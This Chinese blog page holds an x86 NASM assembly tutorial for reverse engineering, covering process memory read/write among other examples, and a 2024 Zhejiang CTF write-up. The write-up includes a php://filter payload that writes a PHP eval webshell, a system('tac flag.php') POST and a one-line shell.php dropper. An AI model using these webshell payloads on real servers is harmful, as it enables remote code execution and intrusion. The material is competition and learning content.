留言复习x86汇编基础,首先为什么要学习汇编语言呢?在二进制程序逆向中是必不可少的,在二进制程序在没有源代码的情况下,只能进行反汇编逆向分析程序的执行流程。所谓 "学而不思则罔,思而不学则殆",只有真正的理解了是如何运作的,才能更好的进行后面的分析。本教程使用 intel 语法来进行编写,编译器使用的是开源的 NASM,就你叫x86汇编呀,直接干就完了!简介本文章会简单的讲解下Windows下的x86汇编,内容比较简短都是示例,x86汇编语言编程也很混乱。因为有很多不同的汇编器:MASM、NASM、gas、as86、TASM、a86、Terse 等,导致语法都不相同。出于对 汇编语言发展 的兴趣,本教程不是为了教你汇编,让你大概学习下x86汇编基础语法方便为后期逆向做准备。当然感兴趣的可以自己研究,这里推荐几个好的教程网站: Linux 汇编语言教程Putting the "You" in CPU汇编器与链接器不管使用哪种汇编器、目标文件格式、链接器或操作系统,编程过程始终是相同的。Nasm 编译器安装Nasm win64 下载 - | - MinGW 下载 首先需要下载编译环境,Nasm 与 MinGW 下载好后解压出来,配置好环境变量方便终端进行调用。这里我推荐几个链接器:ld、alink、golink、gcc 各有秋色,我会演示他们的用法,前三者打包都是程序最小的状态,而 gcc 会使程序大小变大,因为它加了一些东西。NASM 汇编语法输出 Hello, World! - Windowsextern _printf ; 声明外部的 printf 函数 section .data msg db 'Hello, World!', 0 ; 定义字符串常量 section .text global _main ; 设置入口函数为 _main _main: push msg ; 将字符串地址推入栈中,作为参数传递给 printf call _printf ; 调用 printf 函数 add esp, 4 ; 清理栈上的参数 ret ; 函数返回随便创建一个文件,名称.asm 以.asm 后缀结尾,当然后缀什么的都不重要,汇编代码是对的一切都是 ok 的,通过以下代码在 Windows 进行生成再到链接最终生成可执行程序。/* ------ 参数说明 -f win32 指定 32位 生成目标文件 test.o -lmsvcrt 指定链接器需要 C运行库 要用到 printf ------ 编译命令 nasm -f win32 demo.asm -o test.o ld test.o -o test.exe -lmsvcrt */生成完毕后,可以发现程序大小只有 4kb 左右,非常小那是因为用汇编进行编写的,没有其他一些没用的函数打包进去。通过 IDA 打开生成的程序,发现只有 _main 和 _printf 函数,而且代码也是我们写的那一部分。通过 x64dbg 发现,运行直接到 OEP 时就能看到我们写的代码, 程序入口点是 401000 从这里开始到 40100D 结束(自己写的代码范围)。反汇编代码中 push 0x402000 是把内存地址存储的字符串压入到堆栈中,然后通过 call Printf 调用进行输出 Hello, World!。输出 Hello, World! - Linuxsection .data ; 定义一个名为 hello 的字符串,用 db 伪指令来定义 ; db 是 define bytes,用来指定一组字节 hello db 'Hello, World!', 0 ; 字符串用单引号或双引号括起来,末尾要添加一个零终止符 \0 section .text global _start ; 设置入口函数为 _start _start: ; 往标准输出 (stdout) 写入字符串 ; 用系统调用 write mov eax, 4 ; 系统调用号 4 (write) 存储到寄存器 eax mov ebx, 1 ; 描述符 1 (stdout) 存储到寄存器 ebx mov ecx, hello ; 字符串的地址存储到寄存器 ecx mov edx, 13 ; 把字符串的长度(以字节为单位)存储到寄存器 edx int 0x80 ; 系统调用 sys_write ; 退出程序 ; 用系统调用 exit mov eax, 1 ; 系统调用号 1 (exit) 存储到寄存器 eax xor ebx, ebx ; 寄存器 ebx 设置为 0,表示返回值为 0 int 0x80 ; 系统调用 sys_exit/* ------ 参数说明 -f elf32 指定32位生成目标文件main.o -m elf_i386 指定生成32位可执行elf程序 ------ 编译命令 nasm -f elf32 main.asm -o main.o ld -m elf_i386 main.o -o main */通过IDA打开,可以看到只有一个 _start 主入口函数,也是没有其他任何函数,通过 sys_write 输出再到 sys_exit 退出结束。前面的操作让我们实现了编译环境搭建,和第一个汇编程序的编写到运行,现在让我们正式开始吧。(本教程在 Windows 操作系统进行讲解)视频教程{dplayer src="https://www.52tt.pro/usr/uploads/2023/09/10.1.mp4"/}PE文件节section .text // 代码段:用来存储程序的可执行指令(代码)。 section .data // 数据段:用来存储已经初始化的静态变量和全局变量。 section .rdata // 只读数据段:用来存储只读数据,字符串常量等。 section .bss // 未初始化数据段:用来存储未初始化的静态变量和全局变量。 section .data // 可读写数据段:用来存储可以被程序读取或写入的数据。 section .data? // 未定义的数据段 /* 可执行数据段: */ section .text // 代码段:用来存储程序的可执行指令(代码)。 section .idata // 导入数据段:用来存储从其他动态链接库(DLL)中导入的符号等信息。 section .edata // 导出数据段:用来存储导出给其他模块的符号等信息。 section .rsrc // 资源数据段:用来存储可执行文件中的资源数据,如图标、位图、菜单和对话框等。代码注释; 单行注释(分号)字符串输出 - utf-8extern _printf, _system section .data cmd db 'chcp 65001', 0 ; 设置终端输出编码为 utf-8 msg db '你好,世界!', 10, 0 msg2 db 'Hello, World!', 0 section .text global _main ; 设置入口函数为 _main _main: push cmd call _system push msg ; 将字符串地址推入栈中,作为参数传递给 printf call _printf ; 调用 printf 函数 push msg2 call _printf add esp, 12 ; 清理栈上的参数 ret ; 函数返回局部变量 - local varsection .text global _main extern _printf _main: push ebp ; 保存旧的基址寄存器值 mov ebp, esp ; 设置新的基址寄存器值 sub esp, 4 ; 分配 4 字节大小的空间作为局部变量 mov dword [ebp-4], 5 ; 将值 5 存储到局部变量中 mov eax, dword [ebp-4] ; 将局部变量值加载到寄存器 eax 中 push eax ; 将局部变量值推入栈中,作为参数传递给 printf push msg ; 将格式化字符串的地址也推入栈中 call _printf ; 调用 printf 函数 add esp, 12 ; 清理栈上的参数 pop ebp ; 恢复旧的基址寄存器值 ret ; 函数返回 section .data msg db 'local variable is %d', 10, 0 ; 格式化字符串.数据类型 - Data type整型(Integer) 浮点型(Float) 布尔型(Boolean) 字符型(Character)section .data format db "int: %d", 0 ; 格式化输出模板,%d 整数占位符 num dd 100 ; 存储整数值100 msg db "string: Hello", 0 ; 要输出的字符串 newline db 10, 0 ; 换行符和结尾符 section .text global _main extern _printf _main: push ebp ; 保存当前的ebp值 mov ebp, esp ; 把当前的堆栈指针esp的值赋给ebp,建立函数的堆栈帧 push dword [num] ; 压入num变量的值,准备进行格式化输出 push format ; 压入format变量的地址,作为格式化输出的模板 call _printf ; 调用外部函数_printf进行格式化输出 add esp, 8 ; 清除堆栈上的两个参数,恢复堆栈指针 push dword newline ; 压入newline变量的值,输出换行符 call _printf ; 调用_printf函数输出换行符 add esp, 4 ; 清除堆栈上的一个参数 push msg ; 压入msg变量的地址,准备输出字符串 call _printf ; 调用_printf函数输出字符串 Hello add esp, 4 ; 清除堆栈上的一个参数 mov esp, ebp ; 恢复函数调用前的堆栈状态,将堆栈指针esp的值设为ebp的值 pop ebp ; 恢复之前保存在堆栈中的ebp寄存器的值 ret ; 函数返回条件语句 - if ... elsesection .data format db "%d", 0 num dd 1 format2 db "%d", 0 num2 dd 0 section .text global _main extern _printf _main: push ebp mov ebp, esp mov eax, 5 mov ebx, 5 cmp eax, ebx ; 比较是否相等 je print_num push dword [num2] push format call _printf add esp, 8 jmp end print_num: ; 成立则跳转到这 mov eax, dword [num] push eax push format2 call _printf add esp, 8 end: mov esp, ebp pop ebp ret ; eax, ebx 寄存器值 都等于 5 所以成立输出 1条件循环 - forsection .data count equ 10 msg db "Loop iteration.", 10, 0 section .text global _main extern _printf _main: mov ebx, count ; 设置计数器为循环次数 loop_start: cmp ebx, 0 ; 检查计数器是否为零 je loop_end ; 如果为零,跳转到循环结束处 push msg call _printf ; 输出消息 add esp, 4 ; 清除栈上的参数 dec ebx ; 计数器减一 jmp loop_start ; 跳转回循环起始点 loop_end: mov eax, 0 ret条件循环 - whilesection .data msg db "Loop iteration.", 10, 0 section .text global _main extern _printf _main: loop_start: push msg call _printf ; 输出消息 add esp, 4 ; 清除栈上的参数 jmp loop_start ; 跳转回循环起始点整型数组 - Arraysection .data array dd 1, 2, 3, 4, 5, 10 ; 整数数组 len equ ($ - array) / 4 ; 数组长度 section .text global _main extern _printf _main: xor esi, esi ; 将数组索引初始化为 0 loop: cmp esi, len ; 检查是否到达数组末尾 jge end_loop mov eax, [array + esi * 4] ; 获取数组元素的值 push eax ; 将元素值推入堆栈 push format ; 将格式化字符串推入堆栈 call _printf ; 调用 printf 函数来打印元素值 add esp, 8 ; 清理堆栈 inc esi ; 增加数组索引 jmp loop end_loop: ret ; 返回函数 section .data format db "%d ", 0 ; 格式化字符串,用于打印整数switch 语句extern _printf ; 引入 printf 函数 section .data value db 2 ; 定义 value 变量,初始值为 2 msg1 db "1", 0 ; 定义三个输出信息 msg2 db "2", 0 msg3 db "3", 0 section .text global _main _main: cmp byte [value], 1 je case_1 ; 比较 value 和 1 的值,如果相等,跳转到 case_1 标签处 cmp byte [value], 2 je case_2 ; 比较 value 和 2 的值,如果相等,跳转到 case_2 标签处 cmp byte [value], 3 ; 比较 value 和 3 的值,如果相等,跳转到 case_3 标签处 je case_3 ; 如果都不相等,跳转到 case_default 标签处 jmp case_default case_1: push msg1 ; 将 msg1 的地址压入栈中,并调用 printf 函数 call _printf add esp, 4 ; 回收栈空间 jmp end_switch ; 跳转到 end_switch 标签处 case_2: push msg2 ; 将 msg2 的地址压入栈中,并调用 printf 函数 call _printf add esp, 4 ; 回收栈空间 jmp end_switch ; 跳转到 end_switch 标签处 case_3: push msg3 ; 将 msg3 的地址压入栈中,并调用 printf 函数 call _printf add esp, 4 ; 回收栈空间 jmp end_switch ; 跳转到 end_switch 标签处 case_default: jmp end_switch ; 跳转到 end_switch 标签处 end_switch: mov eax, 0 ; 将返回值设为 0,保证程序正常退出 ret ; 返回上一级调用函数调用约定方法名采用这样的命名方式,就像 _GetStdHandle@4,是因为在 Win32 中,函数名称会经过编码(mangled 或 decorated)以符合特定的约定。这种约定是为了确保函数在编译后可以正确地对外提供和使用。Win32 使用的调用约定称为 __stdcall,它规定了函数在被调用时参数的传递方式、栈的清理方式等。根据 __stdcall 的规定,函数名前面会加上一个下划线(_),然后是函数名本身,后面紧跟着一个 at 符号(@),最后是参数列表中的字节数(以十进制表示)。Cdecl(C Declaration)参数从右向左入栈。调用者负责清理堆栈。支持可变参数。在多数 C 编译器和 Microsoft Windows、Linux 系统上广泛使用。Stdcall(Standard Call)参数从右向左入栈。被调用函数负责清理堆栈。常用于 Win32 API。Fastcall一部分参数通过寄存器传递,其余的参数从右向左入栈。被调用函数负责清理堆栈。具体实现可能因编译器和平台而异。HANDLE OpenProcess( [in] DWORD dwDesiredAccess, [in] BOOL bInheritHandle, [in] DWORD dwProcessId );函数参数是从右向左压入到堆栈的,那么第一个参数在汇编中就是 dwProcessId(进程id),以此类推压入完成进行调用。extern _OpenProcess@12 ; 设置调用API加@12,说明函数有3个参数都是 dword(4字节)。 section .data PROCESS_ALL_ACCESS equ 0x1F0FF section .text global _main _main: push dword 0 ; dwProcessId,进程 ID push dword 0 ; bInheritHandle,不继承句柄 push dword PROCESS_ALL_ACCESS ; dwDesiredAccess,使用标准读取权限 call _OpenProcess@12 ; @12 这么写会自动清空堆栈参数,无需写清除参数代码。以上是加了 @12 参数自动从堆栈清除的过程,可以发现当执行完 call 时堆栈参数自动被清除。标准用户输入 - scanfsection .data prompt db "Please enter a string: ", 0 format db "%s", 0 input db 255 dup(0) ; 申请长度为 255 字节内存字符串数组,初始值都为 0; section .text global _main extern _printf, _scanf, _puts _main: push ebp mov ebp, esp push dword prompt call _printf ; 输出提示信息 add esp, 4 ; 接收用户输入 push dword input push dword format call _scanf add esp, 8 push dword input call _puts ; 显示输入的字符串 add esp, 4 end: mov esp, ebp pop ebp ret调用系统命令 - systemsection .data cmd db 'cmd /c dir', 0 ; 存储 cmd 执行命令 section .text global _main extern _system _main: push ebp mov ebp, esp push dword cmd ; 压入参数到堆栈 call _system ; 调用 system add esp, 4 ; 清除参数 end: mov esp, ebp pop ebp ret调用弹窗 - MessageBoxAsection .data caption db "Hello", 0 message db "Welcome to the MessageBox!", 0 section .text global _main extern _MessageBoxA@16 _main: push 0 ; 确定:0 消息:48 警告:64 push caption push message push 0 ; NULL (HWND) call _MessageBoxA@16 ; 调用MessageBox函数显示消息框nasm -f win32 demo.asm -o test.obj ld -m i386pe -o test.exe test.obj -luser32 -lkernel32 // -luser32 -lkernel32 导入动态链接库终止进程 - TerminateProcesssection .data PROCESS_ALL_ACCESS equ 0x1F0FF section .text global _main extern _OpenProcess@12, _TerminateProcess@8, _printf _main: push dword 21108 ; dwProcessId,进程 ID push dword 0 ; bInheritHandle,不继承句柄 push dword PROCESS_ALL_ACCESS ; dwDesiredAccess,使用标准读取权限 call _OpenProcess@12 mov ebx, eax ; 将句柄保存到 EBX 中 push ebx ; 将句柄值压入堆栈 push format_str ; 格式化字符串 call _printf ; 调用 printf 函数 add esp, 8 push 0 push ebx call _TerminateProcess@8 ; 调用 TerminateProcess 函数 xor ebx, ebx ; 清空 EBX 寄存器 ret section .data format_str db "Handle value: %d", 0 ; 使用 %d 格式输出整数伪代码指令 - import再次提到,对于编译后一个 Win32 函数的名称如何被修饰或装饰这个问题,在这个级别上了解似乎要求过高了。毕竟所有的 C 程序员都可以愉快地写出 "ExitProcess",而不是 "_ExitProcess@4"。很赞同这个说法,有的时候 下划线(_)加艾特(@)的确不是很好,所以可以借助下伪指令,这样就可以直接导入 Windows api 函数了,不需要再修改名称。Alink链接器这个 Alink 链接器上一次修改还是在 1999 年,真的是上古链接器了,估计作者也不更新了不过好在还可以用。Alink 下载 伪指令这些语法,必须生成 obj 然后用 alink 链接生成才行,对于 gcc 和 ld 都是会报错的导致编译不成功,就像以下这样:简单调用 printfextern printf import printf msvcrt.dll section .data msg db "hey Actdream!", 0 section .text use32 ..start: push msg call [printf] add esp, 4 ret输出 Hello, World!extern ExitProcess ; 声明 ExitProcess 外部函数。 import ExitProcess kernel32.dll ; 引入 ExitProcess 函数在 kernel32.dll 动态链接库里。 extern GetStdHandle import GetStdHandle kernel32.dll extern WriteFile import WriteFile kernel32.dll segment .data use32 ; 定义 32 位数据段,用来存储程序中使用的数据。 Text db "Hello, World!",0 ; 在数据段里定义了一个以空字符结尾的字符串 "Hello, World!"。 segment .code use32 ; 定义一个 32 位代码段,在这里定义了程序的主要逻辑。 ..start: ; 定义一个程序入口点标签 push -11 ; 把参数 -11 压入栈中 call [GetStdHandle] ; 调用 GetStdHandle 函数,并将返回值存储在 EAX 寄存器里 mov ebx, eax ; 把句柄存储在 EBX 寄存器里 push dword 0 ; 压入参数 0 lea eax, [ebp-4] ; 指向文本字符串的指针存储在 EAX 寄存器里 push eax ; 把 EAX 寄存器中的指针地址压入栈中 push (message_end - message) ; 把字符串的长度压入栈里(不包括结尾的空字符) push message ; 把字符串的起始地址压入栈里 push ebx ; 获取到的标准输出句柄压入栈中 call [WriteFile] ; 最后调用 WriteFile 函数,把字符串写入到标准输出。 push dword 0 ; 压入参数 0 call [ExitProcess] ; 调用 ExitProcess 函数,来终止程序的运行 hlt ; 暂停 CPU 的运行 message: ; 定义消息字符串的起始标签 db 'Hello, World!', 10 ; 在数据段里中定义了一个字符串 "Hello, World!"。 message_end: ; 定义消息字符串的结束标签/* ------ 参数说明 -fobj 指定输出格式为 obj 目标文件格式 -subsys console 指定生成的是控制台可执行文件 -oPE 指定输出文件格式 PE 可执行文件 ------ 编译命令 nasm -fobj main.asm alink -subsys console -oPE main.obj */调用弹窗 - MessageboxA[BITS 32] ; 声明代码为32位模式 extern ExitProcess import ExitProcess kernel32.dll ; 导入ExitProcess函数 extern MessageBoxA import MessageBoxA user32.dll ; 导入MessageBoxA函数 segment .data use32 Caption db 'From Assembly',0 ; 定义标题字符串 Text db "Hello, World",0 ; 定义消息字符串 segment .code use32 ..start: push dword 0 ; 参数0(消息框类型)压入栈中 push dword Caption ; 标题字符串的地址压入栈中 push dword Text ; 消息字符串的地址压入栈中 push dword 0 ; 参数0(父窗口句柄)压入栈中 call [MessageBoxA] ; 调用MessageBoxA函数显示消息框 push dword 0 ; 参数0(退出代码)压入栈中 call [ExitProcess] ; 调用ExitProcess函数终止程序的运行读进程内存数据BOOL WINAPI ReadProcessMemory( _In_ HANDLE hProcess, _In_ LPCVOID lpBaseAddress, _Out_ LPVOID lpBuffer, _In_ SIZE_T nSize, _Out_ SIZE_T *lpNumberOfBytesRead );读内存要用到 ReadProcessMemory 系统提供的API函数。编译后只有一个 start 入口直接就是我们写的代码,很干净的一个程序只有 2.5 kb 大小。extern OpenProcess import OpenProcess kernel32.dll extern ReadProcessMemory import ReadProcessMemory kernel32.dll extern printf import printf msvcrt.dll extern CloseHandle import CloseHandle kernel32.dll %define PROCESS_ALL_ACCESS 0x1F0FF section .data processId dd 27676 desiredAccess dd PROCESS_ALL_ACCESS inheritHandle dd 0 lpBaseAddress dd 0x4a4610 nSize dd 128 lpNumberOfBytesRead dd 0 readSuccess db 'Read bytes: %d', 0 section .bss buffer resb 128 hProcess resd 1 section .text use32 ..start: push dword [processId] push dword [inheritHandle] push dword [desiredAccess] call [OpenProcess] ; 打开进程句柄 mov [hProcess], eax lea eax, [lpNumberOfBytesRead] push eax push dword [nSize] lea eax, [buffer] push eax push dword [lpBaseAddress] push dword [hProcess] call [ReadProcessMemory] ; 读内存数据 push dword [buffer] push readSuccess call [printf] ; 输出数据 add esp, 8 push dword [hProcess] call [CloseHandle] ; 关闭句柄 ret写进程内存数据BOOL WriteProcessMemory( [in] HANDLE hProcess, [in] LPVOID lpBaseAddress, [in] LPCVOID lpBuffer, [in] SIZE_T nSize, [out] SIZE_T *lpNumberOfBytesWritten );extern OpenProcess import OpenProcess kernel32.dll extern WriteProcessMemory import WriteProcessMemory kernel32.dll extern CloseHandle import CloseHandle kernel32.dll extern ExitProcess import ExitProcess kernel32.dll %define PROCESS_ALL_ACCESS 0x1F0FFF section .data processId dd 27676 desiredAccess dd PROCESS_ALL_ACCESS inheritHandle dd 0 lpBaseAddress dd 0x4a4610 nSize dd 4 writeValue dd 10 section .bss hProcess resd 1 bytesWritten resd 1 section .text use32 ..start: push dword [processId] push dword [inheritHandle] push dword [desiredAccess] call [OpenProcess] mov [hProcess], eax push 0 push dword [nSize] lea eax, [writeValue] push eax push dword [lpBaseAddress] push dword [hProcess] call [WriteProcessMemory] push dword [hProcess] call [CloseHandle] retGolink链接器Goasm 与 GoLink,都是由 Jeremy Gordon 开发,是用来与 GoAsm 配合使用的链接器。主要特点:轻量级高效:专为快速和高效的链接过程设计。兼容性:它可以链接其他汇编器(比如 NASM 或 FASM)还有某些 C/C++ 编译器生成的对象文件。格式的支持:GoLink 对 Windows PE 格式有良好的支持。用 NASM 原生语法,导入动态链接库函数不需要以下划线 _ 开头,比如以下:这里插一嘴:我推荐使用这个链接器,方便且轻巧。官网地址 | Golink 下载extern printf section .data msg db 'Hello, World!', 0 section .text global main main: push msg call printf add esp, 4 ret/* ------ 参数说明 /entry 指定入口函数 /console 指定为控制台程序 ------ 编译命令 nasm -f win32 main.asm -o main.obj golink /entry main main.obj msvcrt.dll /console */简单的窗口程序{collapse}{collapse-item label="NASM汇编代码" close}extern printf extern ExitProcess extern RegisterClassExA extern CreateWindowExA extern MessageBoxA extern GetModuleHandleA extern PeekMessageA extern TranslateMessage extern DispatchMessageA extern PostQuitMessage extern DefWindowProcA extern ShowWindow extern UpdateWindow extern GetStockObject extern BeginPaint extern EndPaint extern Rectangle extern Ellipse extern MoveToEx extern LineTo extern DrawTextA extern SetBkMode extern SetTextColor extern CreateSolidBrush extern CreatePen extern SelectObject extern DeleteObject extern LoadIconA extern LoadCursorA %define WS_OVERLAPPED 0x00000000 %define WS_POPUP 0x80000000 %define WS_CHILD 0x40000000 %define WS_MINIMIZE 0x20000000 %define WS_VISIBLE 0x10000000 %define WS_DISABLED 0x08000000 %define WS_CLIPSIBLINGS 0x04000000 %define WS_CLIPCHILDREN 0x02000000 %define WS_MAXIMIZE 0x01000000 %define WS_CAPTION 0x00C00000 %define WS_BORDER 0x00800000 %define WS_DLGFRAME 0x00400000 %define WS_VSCROLL 0x00200000 %define WS_HSCROLL 0x00100000 %define WS_SYSMENU 0x00080000 %define WS_THICKFRAME 0x00040000 %define WS_GROUP 0x00020000 %define WS_TABSTOP 0x00010000 %define WS_MINIMIZEBOX 0x00020000 %define WS_MAXIMIZEBOX 0x00010000 %define WS_TILED WS_OVERLAPPED %define WS_ICONIC WS_MINIMIZE %define WS_SIZEBOX WS_THICKFRAME %define WS_TILEDWINDOW WS_OVERLAPPEDWINDOW %define WS_OVERLAPPEDWINDOW (WS_OVERLAPPED | \ WS_CAPTION | \ WS_SYSMENU | \ WS_THICKFRAME | \ WS_MINIMIZEBOX | \ WS_MAXIMIZEBOX) %define PM_REMOVE 1h %define WM_QUIT 0x0012 %define WM_PAINT 0x000F %define WM_CLOSE 0x0010 %define CS_VREDRAW 0x0001 %define CS_HREDRAW 0x0002 %define CS_DBLCLKS 0x0008 %define CS_OWNDC 0x0020 %define CS_CLASSDC 0x0040 %define CS_PARENTDC 0x0080 %define CS_NOCLOSE 0x0200 %define CS_SAVEBITS 0x0800 %define CS_BYTEALIGNCLIENT 0x1000 %define CS_BYTEALIGNWINDOW 0x2000 %define CS_GLOBALCLASS 0x4000 %define IDI_APPLICATION 32512 %define IDC_ARROW 32512 section .text global START START: push 0 call GetModuleHandleA mov dword [Instance], eax mov dword[OurWindowclass], 48 mov dword[OurWindowclass+4], CS_OWNDC|CS_HREDRAW|CS_VREDRAW mov dword[OurWindowclass+8], WindowProc mov dword[OurWindowclass+12], 0 mov dword[OurWindowclass+16], 0 mov eax, dword[Instance] mov dword[OurWindowclass+20], eax push IDI_APPLICATION push 0 call LoadIconA mov dword[OurWindowclass+24], eax push IDI_APPLICATION push 0 call LoadCursorA mov dword[OurWindowclass+28], eax mov dword[OurWindowclass+32], 5 mov dword[OurWindowclass+36], 0 mov dword[OurWindowclass+40], Windowclassname mov dword[OurWindowclass+44], 0 lea eax, [OurWindowclass] push eax call RegisterClassExA cmp eax, 0 jne Lcreate push 0 push Windowname push string_reg_failed push 0 call MessageBoxA jmp exit Lcreate: push 0 push dword[Instance] push 0 push 0 push 250 ; Height push 380 ; Width push 140 ; Top push 360 ; Left push WS_VISIBLE+WS_OVERLAPPEDWINDOW push Windowname push Windowclassname push 0 call CreateWindowExA mov dword[Windowhandle], eax push 1 push dword[Windowhandle] call ShowWindow push dword[Windowhandle] call UpdateWindow messloop: push PM_REMOVE push 0 push 0 push 0 push MessageBuffer call PeekMessageA cmp eax, 0 je nextloop cmp dword[MessageBuffer+4], WM_QUIT je exit push MessageBuffer call TranslateMessage push MessageBuffer call DispatchMessageA nextloop: jmp near messloop exit: push dword 0 call ExitProcess ret global WindowProc WindowProc: push ebp mov ebp, esp cmp dword[ebp+12], WM_CLOSE jne Ldefault push 0 call PostQuitMessage Ldefault: push dword[ebp+20] push dword[ebp+16] push dword[ebp+12] push dword[ebp+8] call DefWindowProcA mov esp, ebp pop ebp ret section .data Windowclassname db 'MyClass', 0 Windowname db 'My Window', 0 string_reg_failed db 'Failed to register main window', 0 Instance dd 0 Windowhandle dd 0 section .bss MessageBuffer resb 28 OurWindowclass resb 48{/collapse-item}{/collapse}/* ------ 编译命令 nasm -f win32 window.asm -o window.obj golink window.obj kernel32.dll user32.dll */隐藏DOS窗口/* ------ 参数说明 -subsystem windows 即可隐藏DOS窗口 ------ 编译命令 nasm -f win32 main.asm -o main.o ld main.o -o main.exe -lkernel32 -lmsvcrt -luser32 -subsystem windows */ 生成图标程序/* ------ 文件生成 创建文件 resource.rc 内容:IDI_ICON ICON "mu.ico" 内容写到里面 使用 windres 生成资源目标文件 打包资源命令:windres resource.rc resource.o ------ 编译命令 nasm -f win32 main.asm -o main.obj ld main.obj resource.o -o main.exe -lmsvcrt */添加UAC清单创建UAC清单文件:创建一个XML文件名为 nac.manifest 内容填写以下代码。<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2"> <security> <requestedPrivileges> <requestedExecutionLevel level="requireAdministrator" uiAccess="false"/> </requestedPrivileges> </security> </trustInfo> </assembly>创建资源文件:编写一个资源脚本文件名为: src.rc 用来引用清单文件,内容填写以下代码。#include "winuser.h" 1 RT_MANIFEST "nac.manifest" IDI_ICON ICON "00.ico"这里我添加了自定义图标在 src.rc 写了 IDI_ICON 当然不需要也可以去掉。/* ------ 文件生成 nasm -f win32 main.asm -o main.obj windres src.rc -O coff -o src.res ------ 编译命令 ld -o main.exe main.obj src.res -lkernel32 -luser32 -lmsvcrt */vmp加壳问题如果你尝试用 alink 进行链接生成程序,就会发现区段的命名方式,不以 . 开头,导致加壳的时候识别错误。而使用 ld、gcc、golink 进行连接就不会出现这种情况了,就能正常加壳了。调用第三方DLL这里我写了一个自定义的dll,里面就导出了一个 initGo 函数,功能是弹出一个弹窗。section .data dllName db "Bin32.dll", 0 functionName db "initGo", 0 section .text extern LoadLibraryA, GetProcAddress global main main: push dllName call LoadLibraryA mov ebx, eax ; DLL 句柄 push functionName push ebx call GetProcAddress mov esi, eax ; 函数指针 call esi ; 调用 initGo 函数 mov ebx, 0 ret/* ------ 编译命令 nasm -f win32 main.asm -o main.obj golink /entry main main.obj Bin32.dll Kernel32.dll /console */
2024年09月30日
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2024-05-14
【CTF解题】2024年浙江省CTF网络安全竞赛
留言随缘更新,只公布解题结果,太懒了。。。Reverse模拟人生{collapse}{collapse-item label="伪C代码" close}unsigned __int64 __fastcall sub_40350F(int a1, int a2, int a3, int a4, int a5) { __int64 v5; // rbx int *v6; // rdx int v11; // [rsp+20h] [rbp-F0h] int i; // [rsp+24h] [rbp-ECh] __int64 v13; // [rsp+28h] [rbp-E8h] int v14[8]; // [rsp+30h] [rbp-E0h] int v15[42]; // [rsp+50h] [rbp-C0h] BYREF unsigned __int64 v16; // [rsp+F8h] [rbp-18h] v16 = __readfsqword(0x28u); v13 = a1; v11 = 0; v14[0] = a2; v14[1] = a3; v14[2] = a4; v14[3] = a5; while ( v11 <= 3 ) { v5 = v13 * v14[v11]; v13 = v5 / (int)sub_4034E1((unsigned int)v13, (unsigned int)v14[v11++]); } if ( a2 > 0 && a3 > 0 && a4 > 0 && a5 > 0 && a1 == 60 && v13 == 286395540 ) { v6 = v15; memset(v15, 0, 0xA0uLL); v15[0] = 432; v15[1] = 408; v15[2] = 429; v15[3] = 438; v15[4] = 452; v15[5] = 246; v15[6] = 243; v15[7] = 417; v15[8] = 423; v15[9] = 444; v15[10] = 236; v15[11] = 231; v15[12] = 203; v15[13] = 447; v15[14] = 227; v15[15] = 435; v15[16] = 252; v15[17] = 224; v15[18] = 204; v15[19] = 443; v15[20] = 419; v15[21] = 248; v15[22] = 442; v15[23] = 241; v15[24] = 203; v15[25] = 251; v15[26] = 445; v15[27] = 239; v15[28] = 441; v15[29] = 254; v15[30] = 444; v15[31] = 246; v15[32] = 203; v15[33] = 245; v15[34] = 255; v15[35] = 445; v15[36] = 434; v15[37] = 478; for ( i = 0; v15[i]; ++i ) std::operator<<<std::char_traits<char>>(&std::cout, (unsigned int)(char)((v15[i] >> 2) ^ 0xA), v6); } return __readfsqword(0x28u) ^ v16; }{/collapse-item}{/collapse}以上是sub_40350F函数内的代码,不难看出v15存储的就是做过处理的flag,关键就是 v15[i] >> 2 ^ 0xa,我们就模仿它写个脚本解下,就能拿到最终的flag。v15 = [ 432, 408, 429, 438, 452, 246, 243, 417, 423, 444, 236, 231, 203, 447, 227, 435, 252, 224, 204, 443, 419, 248, 442, 241, 203, 251, 445, 239, 441, 254, 444, 246, 203, 245, 255, 445, 434, 478 ] for num in v15: result = chr((num >> 2) ^ 0xA) print(result, end='')Webyc2_web1<?php highlight_file(__FILE__); error_reporting(0); function waf01($x){ if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log/i',$x)){ die('You are hacker!!! No!!!'); } } $file=$_GET['file']; $contents=$_GET['contents']; waf01($file); file_put_contents($file, "<?php die();?>".$contents);GET: ?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php&contents=?<hp pe@av(l_$OPTSa[aa]a;)>? POST: aaaa=system("tac flag.php");先GET请求下这个时候木马就被写入到服务器里了,然后POST提交就能获取到flag。综合渗透1这题要进后台先找打后台,然后账号密码爆破,账号密码 admin/admin第一题是有提示,第二题flag:在home综合渗透1-2<?php fwrite(fopen('shell.php','w'),'<?php eval($_POST["pass"]);?>');?>前端找可执行php代码的地方,写入一句话木马。第三个flag,在第二题有提示:在数据库。综合渗透1-3这样就都找到了。Crypto...Misc伪加密找到 14 00 09 这段改成 14 00 00 保存,即可解zip压缩包伪加密。地狱模式题目是一个jar文件,玩游戏坚持一分钟就给你flag,这里直接反编译下取flag。打篮球之前先找到flag吧压缩包里是一个ELF文件,我直接用strings 过滤下flag,直接就拿到了。这是sql盲注嘛?直接用http对象列表查看,字节大小定位返回内容,这里我已经确定 21 bytes 是成功的,那么排序下找盲注的数字,数字ASCII转换字符拼接就是flag了。...
2024年05月14日
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2023-12-28
【技术分享】Linux SkidMap 挖矿病毒处置
